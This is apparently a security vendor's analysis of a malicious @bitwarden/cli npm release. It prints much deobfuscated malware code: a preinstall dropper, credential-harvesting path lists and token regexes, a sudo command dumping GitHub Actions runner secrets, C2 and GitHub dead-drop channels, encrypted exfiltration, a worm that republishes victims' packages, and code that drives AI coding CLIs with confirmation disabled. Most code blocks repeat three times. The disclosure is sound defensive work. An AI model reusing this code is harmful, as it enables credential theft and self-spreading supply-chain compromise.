BACK

Real World Attacks

Shai-Hulud: The Third Coming

Valentino Duval

Apr 23, 2026

Real World Attacks

Shai-Hulud: The Third Coming

Valentino Duval

Apr 23, 2026

Real World Attacks

Shai-Hulud: The Third Coming

Valentino Duval

Apr 23, 2026

No headings found in content selector: .toc-content

This morning, Ossprey Security detected apparent malware in an npmjs release of Bitwarden's CLI package for version 2026.4.0. Previous scans of @bitwarden/cli had not raised any issues so one of our engineers immediately began to analyse the package for potential malware.

What we found was a heavily obfuscated JS payload, credential theft, and themes linking this attack to the recent Shai-Hulud npm worm attacks of last year.

Executive Summary

Malicious releases of @bitwarden/cli (2026.4.0) were published to npm in a supply chain compromise of the official Bitwarden CLI package.

The payload executes at install time via a preinstall hook, harvests credentials across the filesystem (SSH keys, AWS credentials, GitHub tokens, shell history), dumps GitHub Actions runner secrets, and exfiltrates everything encrypted to an attacker-controlled RSA key. A worm component then republishes backdoored versions of every npm package the victim has write access to, propagating the compromise downstream. Shell persistence is achieved by injecting a payload into ~/.bashrc and ~/.zshrc.

Who is Behind This?

This is, by the actor's own accounting, at least their third campaign.

The broader actor is publicly tracked as TeamPCP, attributed with high confidence by Wiz, Socket, and Palo Alto Networks to the Trivy, Checkmarx KICS GitHub Action, and Checkmarx KICS Docker Hub compromises. The @bitwarden/cli package shares TeamPCP's hardcoded C2 (audit.checkmarx.cx/v1/telemetry), obfuscation toolkit, and encryption scheme.

The malware injects a manifesto into every victim's shell. Anti-capitalist, anti-AI, anti-centralisation, heavily inspired by Frank Herbert's Dune. A debug log buried in the AI hijacking code reads "Would be executing butlerian jihad!".

Alongside the fiction sits a single real-world political grievance. The malware silently exits on any Russian locale indicator across four separate environment variables.

We assess with high confidence this is a TeamPCP operation, though geographic or political alignment of this group remains clouded.

Technical Breakdown

Package Structure

The malicious package mimics @bitwarden/cli closely. The legitimate Bitwarden CLI binary is bundled inside build/bw.js and remains fully functional throughout. The attack runs beneath it.

Two files do the work: bw_setup.js (the dropper) and bw1.js (the 10 MB obfuscated payload). The package.json has two critical deviations from the legitimate package. A preinstall hook fires bw_setup.js the moment npm install runs. The bin.bw entry is also hijacked to point at bw_setup.js, so running bw directly after install triggers the same chain again.

{
  "name": "@bitwarden/cli",
  "version": "2026.4.0",
  "scripts": {
    "preinstall": "node bw_setup.js"
  },
  "bin": {
    "bw": "bw_setup.js"
  }
}
{
  "name": "@bitwarden/cli",
  "version": "2026.4.0",
  "scripts": {
    "preinstall": "node bw_setup.js"
  },
  "bin": {
    "bw": "bw_setup.js"
  }
}
{
  "name": "@bitwarden/cli",
  "version": "2026.4.0",
  "scripts": {
    "preinstall": "node bw_setup.js"
  },
  "bin": {
    "bw": "bw_setup.js"
  }
}

The legitimate @bitwarden/cli has no preinstall hook. Its bin.bw points to build/bw.js.

Stage 0: Dropper

bw_setup.js detects the host platform and architecture, downloads the Bun JavaScript runtime directly from the official github.com/oven-sh/bun releases (v1.3.13), and executes bw1.js with it. Using an official GitHub download keeps the URL looking clean and avoids bundling a binary that might trigger AV.

const PLATFORM_MAP = {
  linux: { arm64: "bun-linux-aarch64", x64: detectLinuxVariant() },
  darwin: { arm64: "bun-darwin-aarch64", x64: "bun-darwin-x64" },
  win32: { arm64: "bun-windows-aarch64", x64: "bun-windows-x64-baseline" },
};

const BUN_VERSION = "1.3.13";
const downloadUrl = `https://github.com/oven-sh/bun/releases/download/bun-v${BUN_VERSION}/${assetName}`;

execFileSync(binPath, ["bw1.js"], { stdio: "inherit" });
const PLATFORM_MAP = {
  linux: { arm64: "bun-linux-aarch64", x64: detectLinuxVariant() },
  darwin: { arm64: "bun-darwin-aarch64", x64: "bun-darwin-x64" },
  win32: { arm64: "bun-windows-aarch64", x64: "bun-windows-x64-baseline" },
};

const BUN_VERSION = "1.3.13";
const downloadUrl = `https://github.com/oven-sh/bun/releases/download/bun-v${BUN_VERSION}/${assetName}`;

execFileSync(binPath, ["bw1.js"], { stdio: "inherit" });
const PLATFORM_MAP = {
  linux: { arm64: "bun-linux-aarch64", x64: detectLinuxVariant() },
  darwin: { arm64: "bun-darwin-aarch64", x64: "bun-darwin-x64" },
  win32: { arm64: "bun-windows-aarch64", x64: "bun-windows-x64-baseline" },
};

const BUN_VERSION = "1.3.13";
const downloadUrl = `https://github.com/oven-sh/bun/releases/download/bun-v${BUN_VERSION}/${assetName}`;

execFileSync(binPath, ["bw1.js"], { stdio: "inherit" });

bw_setup.js is also set as bin.bw, so running bw after install triggers the same chain again.

Stage 1: Payload Initialisation

bw1.js is a single-line 10 MB file obfuscated with three stacked layers.

Layer 1 is a 43,436-element string array with a custom base64 alphabet and an integrity checksum. The array is rotated 409 times before any string can be decoded.

function _0x214e(_0x2c4eb9, _0x4dcea0) {
  _0x2c4eb9 = _0x2c4eb9 - 0x1a8;
  var _0x1ee1c6 = _0x1ee1();
  var _0x214e31 = _0x1ee1c6[_0x2c4eb9];
  // ...base64 decode + decodeURIComponent...
}
(function(_0x24d8b9, _0x4f4fab) {
  // rotate array until arithmetic checksum === 0x3512f
})(_0x1ee1, 0x3512f);
function _0x214e(_0x2c4eb9, _0x4dcea0) {
  _0x2c4eb9 = _0x2c4eb9 - 0x1a8;
  var _0x1ee1c6 = _0x1ee1();
  var _0x214e31 = _0x1ee1c6[_0x2c4eb9];
  // ...base64 decode + decodeURIComponent...
}
(function(_0x24d8b9, _0x4f4fab) {
  // rotate array until arithmetic checksum === 0x3512f
})(_0x1ee1, 0x3512f);
function _0x214e(_0x2c4eb9, _0x4dcea0) {
  _0x2c4eb9 = _0x2c4eb9 - 0x1a8;
  var _0x1ee1c6 = _0x1ee1();
  var _0x214e31 = _0x1ee1c6[_0x2c4eb9];
  // ...base64 decode + decodeURIComponent...
}
(function(_0x24d8b9, _0x4f4fab) {
  // rotate array until arithmetic checksum === 0x3512f
})(_0x1ee1, 0x3512f);

Layer 2 wraps every operator in per-scope dispatch tables. There are approximately 3,289 of these across the file. Full inlining required 7 iterative passes and 69,812 replacements.

var _0x2453a8 = {
  'SrrNN': function(a, b) { return a != b; },
  'SyohX': function(a, b) { return a === b; },
  'ejfMQ': function(a, b) { return a(b); },
  'pGFse': "default",
};
var _0x2453a8 = {
  'SrrNN': function(a, b) { return a != b; },
  'SyohX': function(a, b) { return a === b; },
  'ejfMQ': function(a, b) { return a(b); },
  'pGFse': "default",
};
var _0x2453a8 = {
  'SrrNN': function(a, b) { return a != b; },
  'SyohX': function(a, b) { return a === b; },
  'ejfMQ': function(a, b) { return a(b); },
  'pGFse': "default",
};

Layer 3 hides all sensitive strings including file paths and domains as XOR-shuffled byte arrays, decoded by a Fisher-Yates-shuffled 128-char ASCII lookup seeded with 0x3039.

function G7O(arr, seed) {
  let shuffled = arr.slice();
  let rng = new LCG(seed); // s = (s * 0x41c64e6d + 0x3039) % 0x80000000
  for (let i = shuffled.length - 1; i > 0; i--) {
    let j = Math.floor(rng.next() * (i + 1));
    [shuffled[i], shuffled[j]] = [shuffled[j], shuffled[i]];
  }
  return shuffled;
}
// __decodeScrambled([0x68, 0x4f, 0x5c, 0x18, 0x18, 0x57, 0x4f, 0x4b, 0x36, 0x6d])
// → "~/.ssh/id_"
function G7O(arr, seed) {
  let shuffled = arr.slice();
  let rng = new LCG(seed); // s = (s * 0x41c64e6d + 0x3039) % 0x80000000
  for (let i = shuffled.length - 1; i > 0; i--) {
    let j = Math.floor(rng.next() * (i + 1));
    [shuffled[i], shuffled[j]] = [shuffled[j], shuffled[i]];
  }
  return shuffled;
}
// __decodeScrambled([0x68, 0x4f, 0x5c, 0x18, 0x18, 0x57, 0x4f, 0x4b, 0x36, 0x6d])
// → "~/.ssh/id_"
function G7O(arr, seed) {
  let shuffled = arr.slice();
  let rng = new LCG(seed); // s = (s * 0x41c64e6d + 0x3039) % 0x80000000
  for (let i = shuffled.length - 1; i > 0; i--) {
    let j = Math.floor(rng.next() * (i + 1));
    [shuffled[i], shuffled[j]] = [shuffled[j], shuffled[i]];
  }
  return shuffled;
}
// __decodeScrambled([0x68, 0x4f, 0x5c, 0x18, 0x18, 0x57, 0x4f, 0x4b, 0x36, 0x6d])
// → "~/.ssh/id_"

On execution the payload runs four checks before doing anything else.

Geofencing. It checks four separate locale environment variables plus the system locale. If any starts with ru, the process exits silently.

function mz0() {
  if ((Intl.DateTimeFormat().resolvedOptions().locale || '')
      .toLowerCase().startsWith('ru')) return true;
  if ((process.env.LC_ALL || process.env.LC_MESSAGES ||
       process.env.LANGUAGE || process.env.LANG || '')
      .toLowerCase().startsWith('ru')) return true;
  return false;
}
function mz0() {
  if ((Intl.DateTimeFormat().resolvedOptions().locale || '')
      .toLowerCase().startsWith('ru')) return true;
  if ((process.env.LC_ALL || process.env.LC_MESSAGES ||
       process.env.LANGUAGE || process.env.LANG || '')
      .toLowerCase().startsWith('ru')) return true;
  return false;
}
function mz0() {
  if ((Intl.DateTimeFormat().resolvedOptions().locale || '')
      .toLowerCase().startsWith('ru')) return true;
  if ((process.env.LC_ALL || process.env.LC_MESSAGES ||
       process.env.LANGUAGE || process.env.LANG || '')
      .toLowerCase().startsWith('ru')) return true;
  return false;
}

CI detection. It checks 31 CI environment variables covering every major platform from GitHub Actions to Woodpecker. In CI it skips daemonisation and runs in-process, knowing a CI timeout will kill it anyway.

Daemonisation. On developer machines it spawns a fully detached copy of itself with __DAEMONIZED=1 in the environment, then exits the parent. The install completes normally. The child keeps running.

function Ml0() {
  if (process.env.__DAEMONIZED) return false;
  let child = spawn(process.execPath, process.argv.slice(1), {
    detached: true,
    stdio: "ignore",
    env: { ...process.env, '__DAEMONIZED': '1' }
  });
  child.unref();
  return true;
}
function Ml0() {
  if (process.env.__DAEMONIZED) return false;
  let child = spawn(process.execPath, process.argv.slice(1), {
    detached: true,
    stdio: "ignore",
    env: { ...process.env, '__DAEMONIZED': '1' }
  });
  child.unref();
  return true;
}
function Ml0() {
  if (process.env.__DAEMONIZED) return false;
  let child = spawn(process.execPath, process.argv.slice(1), {
    detached: true,
    stdio: "ignore",
    env: { ...process.env, '__DAEMONIZED': '1' }
  });
  child.unref();
  return true;
}

Singleton lock. It writes its PID to /tmp/tmp.987654321.lock and checks for a live existing instance before proceeding.

var lockFile = join(tmpdir(), "tmp.987654321.lock");

function $l0() {
  if (existsSync(lockFile)) {
    let pid = parseInt(readFileSync(lockFile, 'utf-8'), 10);
    if (isAlive(pid)) return false;
    unlinkSync(lockFile);
  }
  writeFileSync(lockFile, process.pid.toString());
  return true;
}
var lockFile = join(tmpdir(), "tmp.987654321.lock");

function $l0() {
  if (existsSync(lockFile)) {
    let pid = parseInt(readFileSync(lockFile, 'utf-8'), 10);
    if (isAlive(pid)) return false;
    unlinkSync(lockFile);
  }
  writeFileSync(lockFile, process.pid.toString());
  return true;
}
var lockFile = join(tmpdir(), "tmp.987654321.lock");

function $l0() {
  if (existsSync(lockFile)) {
    let pid = parseInt(readFileSync(lockFile, 'utf-8'), 10);
    if (isAlive(pid)) return false;
    unlinkSync(lockFile);
  }
  writeFileSync(lockFile, process.pid.toString());
  return true;
}

Stage 2: Credential Harvesting

Three scanner classes run concurrently via Promise.all.

Filesystem scanner. Targets credential paths per platform including SSH keys, AWS credentials, GCP credentials, .npmrc, .env, .git-credentials, shell history, and notably Claude and Kiro MCP configuration files (~/.claude.json, ~/.claude/mcp.json, ~/.kiro/settings/mcp.json). Files over 5 MB are skipped. GitHub and npm tokens are extracted via regex.

super('filesystem', 'misc', {
  'ghtoken': /gh[op]_[A-Za-z0-9]{36}/g,
  'npmtoken': /npm_[A-Za-z0-9]{36,}/g
});
super('filesystem', 'misc', {
  'ghtoken': /gh[op]_[A-Za-z0-9]{36}/g,
  'npmtoken': /npm_[A-Za-z0-9]{36,}/g
});
super('filesystem', 'misc', {
  'ghtoken': /gh[op]_[A-Za-z0-9]{36}/g,
  'npmtoken': /npm_[A-Za-z0-9]{36,}/g
});
{
  LINUX: [
    "~/.ssh/id_",           "~/.ssh/id*",          "~/.ssh/keys",
    "~/.ssh/known_hosts",   ".git/config",          ".git-credentials",
    ".env",                 "~/.aws/credentials",
    "~/.config/gcloud/credentials.db",
    "~/.npmrc",             ".npmrc",
    "~/.bash_history",      "~/.zsh_history",
    "~/.claude/mcp.json",   "~/.claude.json",
    "~/.kiro/settings/mcp.json",
  ],
  OSX: [
    "~/.aws/credentials",   ".git/config",          "~/.npmrc",
    ".npmrc",               ".env",
    "~/.kiro/settings/mcp.json",  ".kiro/settings/mcp.json",
    ".claude.json",         "~/.claude.json",
    "~/.bash_history",      "~/.zsh_history",
    "~/.ssh/id_",           "~/.ssh/id*",           ".git-credentials",
    "~/.ssh/known_hosts",
  ],
  WIN: [".env", "config.ini"]
}
{
  LINUX: [
    "~/.ssh/id_",           "~/.ssh/id*",          "~/.ssh/keys",
    "~/.ssh/known_hosts",   ".git/config",          ".git-credentials",
    ".env",                 "~/.aws/credentials",
    "~/.config/gcloud/credentials.db",
    "~/.npmrc",             ".npmrc",
    "~/.bash_history",      "~/.zsh_history",
    "~/.claude/mcp.json",   "~/.claude.json",
    "~/.kiro/settings/mcp.json",
  ],
  OSX: [
    "~/.aws/credentials",   ".git/config",          "~/.npmrc",
    ".npmrc",               ".env",
    "~/.kiro/settings/mcp.json",  ".kiro/settings/mcp.json",
    ".claude.json",         "~/.claude.json",
    "~/.bash_history",      "~/.zsh_history",
    "~/.ssh/id_",           "~/.ssh/id*",           ".git-credentials",
    "~/.ssh/known_hosts",
  ],
  WIN: [".env", "config.ini"]
}
{
  LINUX: [
    "~/.ssh/id_",           "~/.ssh/id*",          "~/.ssh/keys",
    "~/.ssh/known_hosts",   ".git/config",          ".git-credentials",
    ".env",                 "~/.aws/credentials",
    "~/.config/gcloud/credentials.db",
    "~/.npmrc",             ".npmrc",
    "~/.bash_history",      "~/.zsh_history",
    "~/.claude/mcp.json",   "~/.claude.json",
    "~/.kiro/settings/mcp.json",
  ],
  OSX: [
    "~/.aws/credentials",   ".git/config",          "~/.npmrc",
    ".npmrc",               ".env",
    "~/.kiro/settings/mcp.json",  ".kiro/settings/mcp.json",
    ".claude.json",         "~/.claude.json",
    "~/.bash_history",      "~/.zsh_history",
    "~/.ssh/id_",           "~/.ssh/id*",           ".git-credentials",
    "~/.ssh/known_hosts",
  ],
  WIN: [".env", "config.ini"]
}

Shell scanner. Runs gh auth token to capture any active GitHub CLI session token and dumps the full process.env.

async execute() {
  let result = {};
  try {
    let token = execFileSync("gh auth token", {
      encoding: "utf-8",
      stdio: ["pipe","pipe","pipe"]
    }).trim();
    if (token) result.token = token;
  } catch {}
  result.environment = process.env;
  return this.success(result);
}
async execute() {
  let result = {};
  try {
    let token = execFileSync("gh auth token", {
      encoding: "utf-8",
      stdio: ["pipe","pipe","pipe"]
    }).trim();
    if (token) result.token = token;
  } catch {}
  result.environment = process.env;
  return this.success(result);
}
async execute() {
  let result = {};
  try {
    let token = execFileSync("gh auth token", {
      encoding: "utf-8",
      stdio: ["pipe","pipe","pipe"]
    }).trim();
    if (token) result.token = token;
  } catch {}
  result.environment = process.env;
  return this.success(result);
}

GitHub Actions runner scanner. Fires only when GITHUB_ACTIONS === "true" and RUNNER_OS === "Linux". It pipes a gzipped Python script into sudo python3 to read the runner worker's in-memory secret store directly. The github_token and system.github.token secrets are intentionally excluded from output to reduce detection risk.

let secrets = execFileSync(
  "sudo python3 | tr -d '\\0' | grep -aoE '\"[^\"]+\":{\"value\":\"[^\"]*\",\"isSecret\":true}' | sort -u",
  { input: hr, encoding: "utf-8" }
);
let secrets = execFileSync(
  "sudo python3 | tr -d '\\0' | grep -aoE '\"[^\"]+\":{\"value\":\"[^\"]*\",\"isSecret\":true}' | sort -u",
  { input: hr, encoding: "utf-8" }
);
let secrets = execFileSync(
  "sudo python3 | tr -d '\\0' | grep -aoE '\"[^\"]+\":{\"value\":\"[^\"]*\",\"isSecret\":true}' | sort -u",
  { input: hr, encoding: "utf-8" }
);

Stage 3: C2 Recovery

The payload has three fallback tiers for reaching its operator.

Tier 1. A hardcoded domain: audit.checkmarx.cx:443/v1/telemetry. This impersonates Checkmarx, a legitimate SAST vendor, so traffic blends into normal security tooling. If the domain is unreachable, it searches GitHub commits for the beautifulcastle keyword and verifies an RSA-SHA256 signature on the payload. Only the actor holding the private key can post valid C2 updates. The channel cannot be hijacked.

class Cy extends yH {
  constructor(domain, port, path) {
    super("domain", {
      domain: domain ?? "audit.checkmarx.cx",
      port:   port   ?? 443,
      path:   path   ?? "v1/telemetry"
    });
  }
}
class Cy extends yH {
  constructor(domain, port, path) {
    super("domain", {
      domain: domain ?? "audit.checkmarx.cx",
      port:   port   ?? 443,
      path:   path   ?? "v1/telemetry"
    });
  }
}
class Cy extends yH {
  constructor(domain, port, path) {
    super("domain", {
      domain: domain ?? "audit.checkmarx.cx",
      port:   port   ?? 443,
      path:   path   ?? "v1/telemetry"
    });
  }
}
function Xg0(commitMessage, publicKey) {
  // regex: /beautifulcastle ([A-Za-z0-9+/=]{1,30})\.([A-Za-z0-9+/=]{1,700})/
  // group 1: base64-encoded payload (new domain/IP)
  // group 2: base64-encoded RSA-SHA256 signature
  let payload   = Buffer.from(match[1], "base64").toString("utf-8");
  let signature = Buffer.from(match[2], "base64");
  let verify = crypto.createVerify("sha256");
  verify.update(payload);
  return verify.verify(publicKey, signature)
    ? { valid: true, data: payload }
    : { valid: false };
}
function Xg0(commitMessage, publicKey) {
  // regex: /beautifulcastle ([A-Za-z0-9+/=]{1,30})\.([A-Za-z0-9+/=]{1,700})/
  // group 1: base64-encoded payload (new domain/IP)
  // group 2: base64-encoded RSA-SHA256 signature
  let payload   = Buffer.from(match[1], "base64").toString("utf-8");
  let signature = Buffer.from(match[2], "base64");
  let verify = crypto.createVerify("sha256");
  verify.update(payload);
  return verify.verify(publicKey, signature)
    ? { valid: true, data: payload }
    : { valid: false };
}
function Xg0(commitMessage, publicKey) {
  // regex: /beautifulcastle ([A-Za-z0-9+/=]{1,30})\.([A-Za-z0-9+/=]{1,700})/
  // group 1: base64-encoded payload (new domain/IP)
  // group 2: base64-encoded RSA-SHA256 signature
  let payload   = Buffer.from(match[1], "base64").toString("utf-8");
  let signature = Buffer.from(match[2], "base64");
  let verify = crypto.createVerify("sha256");
  verify.update(payload);
  return verify.verify(publicKey, signature)
    ? { valid: true, data: payload }
    : { valid: false };
}

Tier 2. It searches GitHub's public commit search API for LongLiveTheResistanceAgainstMachines and double-base64 decodes matching commit messages to extract a GitHub token. This channel is public and unauthenticated. When the payload exfiltrates a stolen token in Stage 4, it embeds it in the commit message using this same format. Every victim becomes a relay for the next.

async function Hr() {
  let results = await Tr(
    "https://api.github.com/search/commits?q=LongLiveTheResistanceAgainstMachines&sort=author-date&order=desc&per_page=50"
  );
  for (let commit of results.items) {
    let match = /^LongLiveTheResistanceAgainstMachines:([A-Za-z0-9+/]{1,100}={0,3})$/
                  .exec(commit.commit.message);
    if (match?.[1]) {
      let token = Buffer.from(
        Buffer.from(match[1], "base64").toString("utf8"),
        "base64"
      ).toString("utf8");
      let client = new Octokit({ auth: token });
      if ((await validateScopes(client)).hasRepoScope) return client;
    }
  }
}
async function Hr() {
  let results = await Tr(
    "https://api.github.com/search/commits?q=LongLiveTheResistanceAgainstMachines&sort=author-date&order=desc&per_page=50"
  );
  for (let commit of results.items) {
    let match = /^LongLiveTheResistanceAgainstMachines:([A-Za-z0-9+/]{1,100}={0,3})$/
                  .exec(commit.commit.message);
    if (match?.[1]) {
      let token = Buffer.from(
        Buffer.from(match[1], "base64").toString("utf8"),
        "base64"
      ).toString("utf8");
      let client = new Octokit({ auth: token });
      if ((await validateScopes(client)).hasRepoScope) return client;
    }
  }
}
async function Hr() {
  let results = await Tr(
    "https://api.github.com/search/commits?q=LongLiveTheResistanceAgainstMachines&sort=author-date&order=desc&per_page=50"
  );
  for (let commit of results.items) {
    let match = /^LongLiveTheResistanceAgainstMachines:([A-Za-z0-9+/]{1,100}={0,3})$/
                  .exec(commit.commit.message);
    if (match?.[1]) {
      let token = Buffer.from(
        Buffer.from(match[1], "base64").toString("utf8"),
        "base64"
      ).toString("utf8");
      let client = new Octokit({ auth: token });
      if ((await validateScopes(client)).hasRepoScope) return client;
    }
  }
}

Tier 3. If tiers 1 and 2 both fail, it uses the victim's own stolen GitHub token. At this point the malware is running entirely under the victim's identity. If the victim has no org memberships, the exfiltration repository is made public to make it easier for the attacker to discover.

async function z7O(scanResults) {
  let token = scanResults.flatMap(r => Object.values(r?.matches ?? {}))
                         .find(s => s.startsWith("ghp_") || s.startsWith("gho_"));
  if (!token) return false;
  let client = new Octokit({ auth: token });
  let { data: user } = await client.rest.users.getAuthenticated();
  let orgs = await client.rest.orgs.listForAuthenticatedUser();
  if (!orgs.data.length) reporter.setPublic();
  return reporter.initialize(client);
}
async function z7O(scanResults) {
  let token = scanResults.flatMap(r => Object.values(r?.matches ?? {}))
                         .find(s => s.startsWith("ghp_") || s.startsWith("gho_"));
  if (!token) return false;
  let client = new Octokit({ auth: token });
  let { data: user } = await client.rest.users.getAuthenticated();
  let orgs = await client.rest.orgs.listForAuthenticatedUser();
  if (!orgs.data.length) reporter.setPublic();
  return reporter.initialize(client);
}
async function z7O(scanResults) {
  let token = scanResults.flatMap(r => Object.values(r?.matches ?? {}))
                         .find(s => s.startsWith("ghp_") || s.startsWith("gho_"));
  if (!token) return false;
  let client = new Octokit({ auth: token });
  let { data: user } = await client.rest.users.getAuthenticated();
  let orgs = await client.rest.orgs.listForAuthenticatedUser();
  if (!orgs.data.length) reporter.setPublic();
  return reporter.initialize(client);
}

Stage 4: Exfiltration

Stolen data is batched, compressed, and encrypted using AES-256-GCM with a per-session random key. That key is then RSA-OAEP (SHA-256) encrypted to the attacker's 4096-bit public key. The result is committed to a new GitHub repository created under the compromised account, named using the {dune-adj}-{dune-noun}-{0-999} pattern with the hardcoded description "Shai-Hulud: The Third Coming".

async encryptProviderResults(entries) {
  let json       = JSON.stringify(entries);
  let compressed = await gzip(Buffer.from(json));
  let aesKey = crypto.randomBytes(32);
  let iv     = crypto.randomBytes(12);
  let encryptedKey = crypto.publicEncrypt(
    { key: Fr, padding: crypto.constants.RSA_PKCS1_OAEP_PADDING, oaepHash: 'sha256' },
    aesKey
  );
  let cipher    = crypto.createCipheriv("aes-256-gcm", aesKey, iv);
  let encrypted = Buffer.concat([cipher.update(compressed), cipher.final(), cipher.getAuthTag()]);
  return {
    envelope: Buffer.concat([iv, encrypted]).toString("base64"),
    key: encryptedKey.toString("base64")
  };
}
async encryptProviderResults(entries) {
  let json       = JSON.stringify(entries);
  let compressed = await gzip(Buffer.from(json));
  let aesKey = crypto.randomBytes(32);
  let iv     = crypto.randomBytes(12);
  let encryptedKey = crypto.publicEncrypt(
    { key: Fr, padding: crypto.constants.RSA_PKCS1_OAEP_PADDING, oaepHash: 'sha256' },
    aesKey
  );
  let cipher    = crypto.createCipheriv("aes-256-gcm", aesKey, iv);
  let encrypted = Buffer.concat([cipher.update(compressed), cipher.final(), cipher.getAuthTag()]);
  return {
    envelope: Buffer.concat([iv, encrypted]).toString("base64"),
    key: encryptedKey.toString("base64")
  };
}
async encryptProviderResults(entries) {
  let json       = JSON.stringify(entries);
  let compressed = await gzip(Buffer.from(json));
  let aesKey = crypto.randomBytes(32);
  let iv     = crypto.randomBytes(12);
  let encryptedKey = crypto.publicEncrypt(
    { key: Fr, padding: crypto.constants.RSA_PKCS1_OAEP_PADDING, oaepHash: 'sha256' },
    aesKey
  );
  let cipher    = crypto.createCipheriv("aes-256-gcm", aesKey, iv);
  let encrypted = Buffer.concat([cipher.update(compressed), cipher.final(), cipher.getAuthTag()]);
  return {
    envelope: Buffer.concat([iv, encrypted]).toString("base64"),
    key: encryptedKey.toString("base64")
  };
}

When a batch contains a stolen GitHub token, that token is embedded directly in the commit message as a LongLiveTheResistanceAgainstMachines: entry. This simultaneously exfiltrates the credential and seeds the Tier 2 C2 dead drop for future victims.

async commitBatch(batch) {
  let content = Buffer.from(JSON.stringify(batch)).toString("base64");
  await this.client.rest.repos.createOrUpdateFileContents({
    owner:   this.createdRepo.owner,
    repo:    this.createdRepo.name,
    path:    `results/results-${Date.now()}-${this.commitCounter++}.json`,
    message: !batch.token
               ? "Add files."
               : "LongLiveTheResistanceAgainstMachines:" + batch.token,
    content: content,
  });
}
async commitBatch(batch) {
  let content = Buffer.from(JSON.stringify(batch)).toString("base64");
  await this.client.rest.repos.createOrUpdateFileContents({
    owner:   this.createdRepo.owner,
    repo:    this.createdRepo.name,
    path:    `results/results-${Date.now()}-${this.commitCounter++}.json`,
    message: !batch.token
               ? "Add files."
               : "LongLiveTheResistanceAgainstMachines:" + batch.token,
    content: content,
  });
}
async commitBatch(batch) {
  let content = Buffer.from(JSON.stringify(batch)).toString("base64");
  await this.client.rest.repos.createOrUpdateFileContents({
    owner:   this.createdRepo.owner,
    repo:    this.createdRepo.name,
    path:    `results/results-${Date.now()}-${this.commitCounter++}.json`,
    message: !batch.token
               ? "Add files."
               : "LongLiveTheResistanceAgainstMachines:" + batch.token,
    content: content,
  });
}

The exfil channel and the C2 recovery channel are the same channel. The data cannot be recovered without the attacker's private key.

Stage 5: npm Supply-Chain Worm

If a valid npm token is found with bypass_2fa: true and package:write permission, the payload enumerates every package the victim has write access to, personal and org-scoped. For each it downloads the current tarball, injects a preinstall: "node setup.mjs" hook, bumps the patch version by one, writes the next-stage dropper as setup.mjs, repacks, and publishes under the victim's identity.

async updateTarball(tarballPath) {
  let pkg = JSON.parse(await readFile("package/package.json", "utf-8"));
  pkg.scripts = {};
  pkg.scripts.preinstall = "node setup.mjs";
  let [major, minor, patch] = pkg.version.split('.').map(Number);
  pkg.version = `${major}.${minor}.${patch + 1}`;
  await Bun.write(path.join(tmpDir, "package", "setup.mjs"), K$);
  await Bun.write(path.join(tmpDir, "package", "package.json"), JSON.stringify(pkg, null, 2));
  let outPath = path.join(path.dirname(tarballPath), "package-updated.tgz");
  await tar({ gzip: true, file: outPath, cwd: tmpDir }, ["package"]);
  return outPath;
}
async updateTarball(tarballPath) {
  let pkg = JSON.parse(await readFile("package/package.json", "utf-8"));
  pkg.scripts = {};
  pkg.scripts.preinstall = "node setup.mjs";
  let [major, minor, patch] = pkg.version.split('.').map(Number);
  pkg.version = `${major}.${minor}.${patch + 1}`;
  await Bun.write(path.join(tmpDir, "package", "setup.mjs"), K$);
  await Bun.write(path.join(tmpDir, "package", "package.json"), JSON.stringify(pkg, null, 2));
  let outPath = path.join(path.dirname(tarballPath), "package-updated.tgz");
  await tar({ gzip: true, file: outPath, cwd: tmpDir }, ["package"]);
  return outPath;
}
async updateTarball(tarballPath) {
  let pkg = JSON.parse(await readFile("package/package.json", "utf-8"));
  pkg.scripts = {};
  pkg.scripts.preinstall = "node setup.mjs";
  let [major, minor, patch] = pkg.version.split('.').map(Number);
  pkg.version = `${major}.${minor}.${patch + 1}`;
  await Bun.write(path.join(tmpDir, "package", "setup.mjs"), K$);
  await Bun.write(path.join(tmpDir, "package", "package.json"), JSON.stringify(pkg, null, 2));
  let outPath = path.join(path.dirname(tarballPath), "package-updated.tgz");
  await tar({ gzip: true, file: outPath, cwd: tmpDir }, ["package"]);
  return outPath;
}

Every developer who updates any of those packages is infected in turn.

Stage 6: AI CLI Probing and Shell Persistence

The payload probes for six AI coding assistants: Claude Code, Gemini CLI, Codex, Kiro, Aider, and OpenCode.

const AI_CLIS = [
  { name: "Claude Code", command: "claude",
    buildCommand: p => `echo "${p}" | claude --prompt-from-stdin --no-confirmation`,
    timeout: 8000 },
  { name: "Gemini CLI",  command: "gemini",
    buildCommand: p => `gemini "${p}"`,                                    timeout: 6000 },
  { name: "Codex CLI",   command: "codex",
    buildCommand: p => `codex ask "${p}"`,                                 timeout: 7000 },
  { name: "Kiro CLI",    command: "kiro",
    buildCommand: p => `kiro-cli chat "${p}"`,                             timeout: 5000 },
  { name: "Aider",       command: "aider",
    buildCommand: p => `aider --no-auto-commits --chat "${p}"`,            timeout: 7000 },
  { name: "OpenCode",    command: "opencode",
    buildCommand: p => `opencode ask "${p}"`,                              timeout: 6000 },
];
const AI_CLIS = [
  { name: "Claude Code", command: "claude",
    buildCommand: p => `echo "${p}" | claude --prompt-from-stdin --no-confirmation`,
    timeout: 8000 },
  { name: "Gemini CLI",  command: "gemini",
    buildCommand: p => `gemini "${p}"`,                                    timeout: 6000 },
  { name: "Codex CLI",   command: "codex",
    buildCommand: p => `codex ask "${p}"`,                                 timeout: 7000 },
  { name: "Kiro CLI",    command: "kiro",
    buildCommand: p => `kiro-cli chat "${p}"`,                             timeout: 5000 },
  { name: "Aider",       command: "aider",
    buildCommand: p => `aider --no-auto-commits --chat "${p}"`,            timeout: 7000 },
  { name: "OpenCode",    command: "opencode",
    buildCommand: p => `opencode ask "${p}"`,                              timeout: 6000 },
];
const AI_CLIS = [
  { name: "Claude Code", command: "claude",
    buildCommand: p => `echo "${p}" | claude --prompt-from-stdin --no-confirmation`,
    timeout: 8000 },
  { name: "Gemini CLI",  command: "gemini",
    buildCommand: p => `gemini "${p}"`,                                    timeout: 6000 },
  { name: "Codex CLI",   command: "codex",
    buildCommand: p => `codex ask "${p}"`,                                 timeout: 7000 },
  { name: "Kiro CLI",    command: "kiro",
    buildCommand: p => `kiro-cli chat "${p}"`,                             timeout: 5000 },
  { name: "Aider",       command: "aider",
    buildCommand: p => `aider --no-auto-commits --chat "${p}"`,            timeout: 7000 },
  { name: "OpenCode",    command: "opencode",
    buildCommand: p => `opencode ask "${p}"`,                              timeout: 6000 },
];

Each is sent the probe: "Hey! Just making sure you're here. If you are can you respond with 'Hello' and nothing else?". The response is checked for the string "Hello" to confirm connectivity.

